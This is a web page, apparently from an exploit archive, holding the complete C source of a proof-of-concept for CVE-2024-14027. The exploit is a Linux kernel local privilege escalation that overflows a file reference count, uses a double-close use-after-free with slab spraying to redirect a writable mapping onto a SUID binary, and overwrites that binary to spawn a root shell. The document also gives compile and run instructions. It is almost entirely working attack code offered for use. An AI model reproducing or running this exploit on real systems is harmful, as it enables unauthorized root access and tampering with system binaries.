5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_dc.c C
/*
 * exploit_dc.c — CVE-2024-14027 → root shell via SUID binary overwrite
 *
 * Double-close technique adapted from CVE-2022-22942-dc.c (minipli).
 *
 * Strategy:
 *   1. Overflow f_count via fremovexattr → free struct file (dangling_fd stale)
 *   2. Open temp files O_RDWR → one reallocates the freed slab
 *   3. Identify match via stale fd (fcntl + fstat inode compare)
 *   4. mmap the match (PROT_WRITE, MAP_SHARED) — lazy, no pages faulted
 *   5. Close all temp fds + close(dangling_fd) → extra fput → struct file freed again
 *   6. Open SUID target O_RDONLY → reallocate slab with SUID's struct file
 *   7. memcpy through mmap → page faults go to SUID's page cache → overwrites it
 *   8. exec overwritten SUID → root shell
 *
 * When executed as the overwritten SUID binary (euid==0), spawns /bin/sh.
 *
 * Compile: gcc -m32 -O2 -o exploit_dc exploit_dc.c
 *          (dynamic link — binary must fit inside the SUID target)
 *
 * Run:     ./exploit_dc [suid_target]   (default: /usr/bin/chfn)
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>

#define TARGET_LEAKS    0xFFFFFFFEUL
#define SLACK           10000000UL
#define NUM_WORKERS     3
#define STACK_SIZE      (64 * 1024)
#define NUM_SPRAY       256
#define MAX_DC_RETRIES  20
#define SUID_TARGET     "/usr/bin/chfn"
#define TEMP_PREFIX     "/var/tmp/.xtmp"

static volatile unsigned long leak_count;
static volatile int go;
static volatile int stop_workers;
static int target_fd;
static int dangling_fd;

/* ------------------------------------------------------------------ */
/* fremovexattr via int 0x80                                           */
/* ------------------------------------------------------------------ */
static inline long fast_fremovexattr(int fd, const void *name)
{
    long ret;
    __asm__ volatile("int $0x80"
                     : "=a"(ret)
                     : "a"(237), "b"(fd), "c"(name)
                     : "memory");
    return ret;
}

/* ------------------------------------------------------------------ */
/* Leak worker                                                         */
/* ------------------------------------------------------------------ */
static int leak_worker(void *arg)
{
    unsigned long local = 0;
    int fd = target_fd;
    (void)arg;

    cpu_set_t all;
    CPU_ZERO(&all);
    for (int i = 0; i < 4; i++) CPU_SET(i, &all);
    sched_setaffinity(0, sizeof(all), &all);

    while (!go)
        __asm__ volatile("pause");

    while (!stop_workers) {
        fast_fremovexattr(fd, (const void *)0x1UL);
        local++;
        if ((local & 0xFFFFF) == 0)
            __sync_fetch_and_add(&leak_count, 0x100000);
    }

    __sync_fetch_and_add(&leak_count, local & 0xFFFFF);
    _exit(0);
    return 0;
}

/* ------------------------------------------------------------------ */
/* Idle child for fdget slow-path during overflow                      */
/* ------------------------------------------------------------------ */
static int idle_fn(void *arg)
{
    (void)arg;
    for (;;) pause();
    return 0;
}

/* ------------------------------------------------------------------ */
/* Map a file read-only and pre-fault all pages                        */
/* ------------------------------------------------------------------ */
static void *map_file(const char *path, size_t *len)
{
    struct stat sb;
    int fd;

    fd = open(path, O_RDONLY);
    if (fd < 0) { perror(path); _exit(1); }
    if (fstat(fd, &sb)) { perror("fstat"); _exit(1); }
    *len = sb.st_size;

    void *addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0);
    if (addr == MAP_FAILED) { perror("mmap"); _exit(1); }

    /* Pre-fault to avoid page-ins during the critical path */
    for (size_t i = 0; i < *len; i += 4096)
        *(volatile char *)(addr + i);

    close(fd);
    return addr;
}

/* ------------------------------------------------------------------ */
/* Main                                                                */
/* ------------------------------------------------------------------ */
int main(int argc, char **argv)
{
    pid_t worker_pids[NUM_WORKERS];

    /* ---- Stage 0: If we ARE the overwritten SUID binary, get root ---- */
    if (!geteuid()) {
        setuid(0);
        setgid(0);
        execve("/bin/sh", (char *const []){"/bin/sh", NULL}, NULL);
        _exit(1);
    }

    if (!getuid()) {
        fprintf(stderr, "[!] Don't run as root — run as unprivileged user\n");
        return 1;
    }

    setbuf(stdout, NULL);

    char *suid_path = argc > 1 ? argv[1] : SUID_TARGET;

    printf("[*] CVE-2024-14027 → root shell (double-close technique)\n");
    printf("[*] Target SUID binary: %s\n\n", suid_path);

    /* ---- Verify SUID target ---- */
    struct stat suid_st;
    if (stat(suid_path, &suid_st) != 0) {
        printf("[!] %s not found\n", suid_path);
        return 1;
    }
    if (suid_st.st_uid != 0 || !(suid_st.st_mode & 04111)) {
        printf("[!] %s is not SUID root\n", suid_path);
        return 1;
    }

    /* ---- Map exploit binary and SUID target ---- */
    size_t prog_size, suid_size;
    const void *prog_addr = map_file("/proc/self/exe", &prog_size);
    const void *suid_addr = map_file(suid_path, &suid_size);

    if (suid_size < prog_size) {
        printf("[!] %s (%zu bytes) too small for exploit (%zu bytes)\n",
               suid_path, suid_size, prog_size);
        printf("[!] Compile without -static or choose a larger target\n");
        return 1;
    }
    printf("[+] Exploit: %zu bytes, %s: %zu bytes — OK\n",
           prog_size, suid_path, suid_size);

    /* ---- Pin to CPU 0 ---- */
    cpu_set_t cpu0;
    CPU_ZERO(&cpu0);
    CPU_SET(0, &cpu0);
    sched_setaffinity(0, sizeof(cpu0), &cpu0);

    /* ---- Create pipes FIRST (SLUB isolation) ---- */
    int pipes[4][2];
    for (int i = 0; i < 4; i++) {
        if (pipe(pipes[i]) < 0) { perror("[!] pipe"); return 1; }
    }
    printf("[+] Pipes created (8 struct files on cpu_slab)\n");

    /* ---- Open target, dup → f_count = 2 ---- */
    target_fd = open("/tmp/exploit_target", O_RDWR | O_CREAT | O_TRUNC, 0666);
    if (target_fd < 0) { perror("[!] open target"); return 1; }
    dangling_fd = dup(target_fd);
    if (dangling_fd < 0) { perror("[!] dup"); return 1; }
    printf("[+] target_fd=%d  dangling_fd=%d  (f_count=2)\n",
           target_fd, dangling_fd);

    /* ---- Clone idle child (slow-path fdget during overflow) ---- */
    pid_t idle_child;
    {
        void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (stack == MAP_FAILED) { perror("[!] mmap stack"); return 1; }
        idle_child = clone(idle_fn, (char *)stack + STACK_SIZE,
                           CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
        if (idle_child < 0) { perror("[!] clone idle"); return 1; }
    }

    /* ---- Overflow f_count ---- */
    int fast_mode = (access("/tmp/fast_mode", F_OK) == 0);

    if (fast_mode) {
        printf("[*] FAST MODE: 100 leaks + sync() for GDB\n");
        for (int i = 0; i < 100; i++)
            fast_fremovexattr(target_fd, (const void *)0x1UL);
        printf("[*] f_count = 102. Calling sync() — attach GDB now\n");
        fflush(NULL);
        sync();
        printf("[*] Continuing after GDB...\n");
    } else {
        printf("[*] Spawning %d leak workers...\n", NUM_WORKERS);
        for (int i = 0; i < NUM_WORKERS; i++) {
            void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
                               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
            if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; }
            worker_pids[i] = clone(leak_worker, (char *)stack + STACK_SIZE,
                                   CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
            if (worker_pids[i] < 0) { perror("[!] clone worker"); return 1; }
        }

        unsigned long target_bulk = TARGET_LEAKS - SLACK;
        printf("[*] Need %lu leaks (%.2fG)\n", TARGET_LEAKS, TARGET_LEAKS / 1e9);

        go = 1;
        __sync_synchronize();

        unsigned long last = 0;
        while (leak_count < target_bulk) {
            usleep(2000000);
            unsigned long cur = leak_count;
            double pct = 100.0 * cur / TARGET_LEAKS;
            double rate = (cur - last) / 2.0 / 1e6;
            unsigned long remaining = TARGET_LEAKS - cur;
            double eta = (rate > 0) ? remaining / (rate * 1e6) : 9999;
            printf("\r[*] %luM / 4294M (%.1f%%)  %.1fM/s  ETA %.0fs   ",
                   cur / 1000000, pct, rate, eta);
            last = cur;
        }

        stop_workers = 1;
        __sync_synchronize();
        for (int i = 0; i < NUM_WORKERS; i++)
            waitpid(worker_pids[i], NULL, 0);

        unsigned long done = leak_count;
        printf("\n[*] Workers done: %lu leaks\n", done);

        if (done < TARGET_LEAKS) {
            unsigned long remain = TARGET_LEAKS - done;
            printf("[*] Finishing %lu precisely...\n", remain);
            for (unsigned long i = 0; i < remain; i++) {
                fast_fremovexattr(target_fd, (const void *)0x1UL);
                if ((i & 0xFFFFF) == 0 && i > 0)
                    printf("\r[*] precise: %luM / %luM   ",
                           i / 1000000, remain / 1000000);
            }
            printf("\n");
        } else {
            unsigned long extra = done - TARGET_LEAKS;
            unsigned long fixup = (0x100000000UL - extra) & 0xFFFFFFFFUL;
            printf("[*] Overshot by %lu, fixup %lu leaks...\n", extra, fixup);
            for (unsigned long i = 0; i < fixup; i++)
                fast_fremovexattr(target_fd, (const void *)0x1UL);
        }
    }

    /* ---- Kill idle child → fast-path fdget ---- */
    kill(idle_child, SIGKILL);
    waitpid(idle_child, NULL, 0);
    printf("[+] Overflow done, fast-path fdget enabled\n\n");

    /* ================================================================
     * DOUBLE-CLOSE TECHNIQUE
     * ================================================================ */

    /* Phase 1: Free the struct file via fork helper.
     *
     * After overflow, f_count=0 (wrapped). close() alone does
     * dec_and_test(0→0xFFFFFFFF) which is NOT zero → no __fput.
     *
     * Fix: fork() calls get_file() with unconditional atomic_long_inc
     * on every fd → bumps f_count from 0 to 2 (target_fd + dangling_fd).
     * Child closes both → dec_and_test brings 2→1→0 → __fput → freed.
     * (Same mechanism exploit.c uses implicitly via spawner/closer forks.)
     */
    printf("[*] Phase 1: fork helper to free struct file\n");
    {
        pid_t free_pid = fork();
        if (free_pid == 0) {
            close(target_fd);
            close(dangling_fd);
            _exit(0);
        }
        if (free_pid < 0) { perror("[!] fork"); return 1; }
        waitpid(free_pid, NULL, 0);
    }
    /* Clean up parent's target_fd (fput on freed memory — harmless
     * since slot is not yet reused; dec_and_test(0→-1) ≠ 0). */
    close(target_fd);

    /* Phase 2+3: Spray temp files and probe stale fd, with retry loop.
     * After 22 min of overflow, the cpu_slab may have changed; the freed
     * object might land on a partial page.  We spray, check, and if a
     * kernel-internal file grabbed the slot, close everything, wait for
     * that file to be freed, and try again.
     */
    int temp_fds[NUM_SPRAY];
    int match_fd = -1;
    int match_idx = -1;
    char stale_fd_path[64];
    snprintf(stale_fd_path, sizeof(stale_fd_path),
             "/proc/self/fd/%d", dangling_fd);

    for (int attempt = 0; attempt < MAX_DC_RETRIES; attempt++) {
        if (attempt == 0) {
            /* First attempt: short RCU grace period */
            printf("[*] Waiting for RCU grace period...\n");
            usleep(200000);
        } else {
            printf("[*] Retry %d/%d: re-spraying after 200ms...\n",
                   attempt, MAX_DC_RETRIES);
            usleep(200000);
        }

        printf("[*] Phase 2: Opening %d temp files O_RDWR\n", NUM_SPRAY);
        for (int i = 0; i < NUM_SPRAY; i++) {
            char path[64];
            snprintf(path, sizeof(path), TEMP_PREFIX "_%d", i);
            temp_fds[i] = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
            if (temp_fds[i] < 0) { perror("[!] open temp"); return 1; }
            unlink(path);
            if (ftruncate(temp_fds[i], prog_size) < 0) {
                perror("[!] ftruncate");
                return 1;
            }
        }

        printf("[*] Phase 3: Probing stale fd %d\n", dangling_fd);

        /* readlink for diagnostics */
        char link_buf[256];
        ssize_t link_len = readlink(stale_fd_path, link_buf,
                                    sizeof(link_buf) - 1);
        if (link_len > 0) {
            link_buf[link_len] = '\0';
            printf("[*]   readlink → %s\n", link_buf);
        }

        int flags = fcntl(dangling_fd, F_GETFL);
        if (flags < 0) {
            printf("[-] fcntl failed (errno=%d)\n", errno);
            for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]);
            continue;
        }

        struct stat stale_sb;
        if (fstat(dangling_fd, &stale_sb) != 0) {
            printf("[-] fstat failed\n");
            for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]);
            continue;
        }
        printf("[*]   ino=%lu dev=(%d,%d) flags=0x%x\n",
               (unsigned long)stale_sb.st_ino,
               major(stale_sb.st_dev), minor(stale_sb.st_dev), flags);

        if ((flags & O_ACCMODE) != O_RDWR) {
            printf("[-] Not O_RDWR, retrying...\n");
            for (int i = 0; i < NUM_SPRAY; i++) close(temp_fds[i]);
            continue;
        }

        match_fd = -1;
        match_idx = -1;
        for (int i = 0; i < NUM_SPRAY; i++) {
            struct stat sb;
            if (fstat(temp_fds[i], &sb) == 0 &&
                sb.st_ino == stale_sb.st_ino &&
                sb.st_dev == stale_sb.st_dev) {
                match_fd = temp_fds[i];
                match_idx = i;
                break;
            }
        }

        if (match_fd >= 0) {
            printf("[+] Match: temp_fds[%d] (fd %d)\n", match_idx, match_fd);
            break;
        }

        printf("[-] No match (slot taken by ino=%lu dev=(%d,%d)), retrying...\n",
               (unsigned long)stale_sb.st_ino,
               major(stale_sb.st_dev), minor(stale_sb.st_dev));
        for (int i = 0; i < NUM_SPRAY; i++)
            close(temp_fds[i]);
    }

    if (match_fd < 0) {
        printf("[!] Failed after %d retries — SLUB reuse failed\n",
               MAX_DC_RETRIES);
        return 1;
    }

    /* Phase 4: mmap the matched temp file.
     * MAP_SHARED + PROT_WRITE — but DON'T touch the mapping yet.
     * Pages are faulted lazily; we want them to resolve after the swap.
     */
    printf("[*] Phase 4: Creating writable mmap (%zu bytes)\n", prog_size);
    void *mmap_addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE,
                           MAP_SHARED, match_fd, 0);
    if (mmap_addr == MAP_FAILED) { perror("[!] mmap"); return 1; }
    printf("[+] Mapped at %p\n", mmap_addr);

    /* Close ALL temp fds — mmap holds the last f_count reference */
    for (int i = 0; i < NUM_SPRAY; i++)
        close(temp_fds[i]);

    /* Phase 5: Double-free.
     * close(dangling_fd) calls filp_close → fput on the temp file's struct file.
     * f_count was 1 (only mmap) → now 0 → __fput → struct file freed via RCU.
     * The mmap's VMA now has a DANGLING vm_file pointer.
     */
    printf("[*] Phase 5: close(dangling_fd) → double free\n");
    close(dangling_fd);
    printf("[*] Waiting for RCU grace period...\n");
    usleep(200000);

    /* Phase 6: Reallocate with SUID target O_RDONLY.
     * One of these open() calls grabs the freed slab slot.
     * The mmap's vm_file now points to the SUID binary's struct file.
     * f_mapping → SUID inode's address_space.
     */
    printf("[*] Phase 6: Opening %s O_RDONLY x%d\n", suid_path, NUM_SPRAY);
    int suid_fds[NUM_SPRAY];
    for (int i = 0; i < NUM_SPRAY; i++) {
        suid_fds[i] = open(suid_path, O_RDONLY);
        if (suid_fds[i] < 0) { perror("[!] open suid"); return 1; }
    }

    /* Phase 7: Overwrite via mmap.
     * memcpy triggers page faults → resolved via vm_file->f_mapping
     * → SUID binary's page cache → writes land in the SUID binary.
     * The mmap was created with PROT_WRITE (checked at mmap time against
     * the temp file). The kernel doesn't re-verify after the struct file swap.
     */
    printf("[*] Phase 7: Overwriting %s via mmap (%zu bytes)...\n",
           suid_path, prog_size);
    memcpy(mmap_addr, prog_addr, prog_size);

    /* Close SUID fds */
    for (int i = 0; i < NUM_SPRAY; i++)
        close(suid_fds[i]);

    /* Phase 8: Verify and exec.
     * Re-read the SUID binary to check if overwrite succeeded.
     */
    size_t verify_size;
    const void *verify_addr = map_file(suid_path, &verify_size);
    if (memcmp(verify_addr, prog_addr, prog_size) == 0) {
        printf("\n[+] *** %s successfully overwritten! ***\n", suid_path);
        printf("[*] Spawning root shell...\n\n");
        execve(suid_path, (char *const []){suid_path, NULL}, NULL);
        perror("[!] execve");
    } else {
        printf("[-] Overwrite verification failed — SUID binary unchanged\n");
        printf("[-] Page cache may not have been swapped correctly\n");
    }

    /* Become a ghost to avoid VFS refcount warning on exit
     * (dangling mmap holds a freed struct file reference) */
    setsid();
    close(0); close(1); close(2);
    sigset_t set;
    sigfillset(&set);
    sigprocmask(SIG_BLOCK, &set, NULL);
    for (;;) pause();

    return 1;
}